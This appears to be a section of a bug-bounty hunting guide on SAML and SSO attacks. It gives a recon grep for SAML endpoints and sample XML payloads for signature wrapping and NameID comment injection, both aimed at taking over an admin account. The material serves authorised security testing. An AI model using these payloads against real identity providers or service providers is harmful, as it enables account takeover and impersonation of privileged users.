What it does

Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW), modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation.

20. SAML / SSO ATTACKS

SSO bugs frequently pay High, Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com", the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com", a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
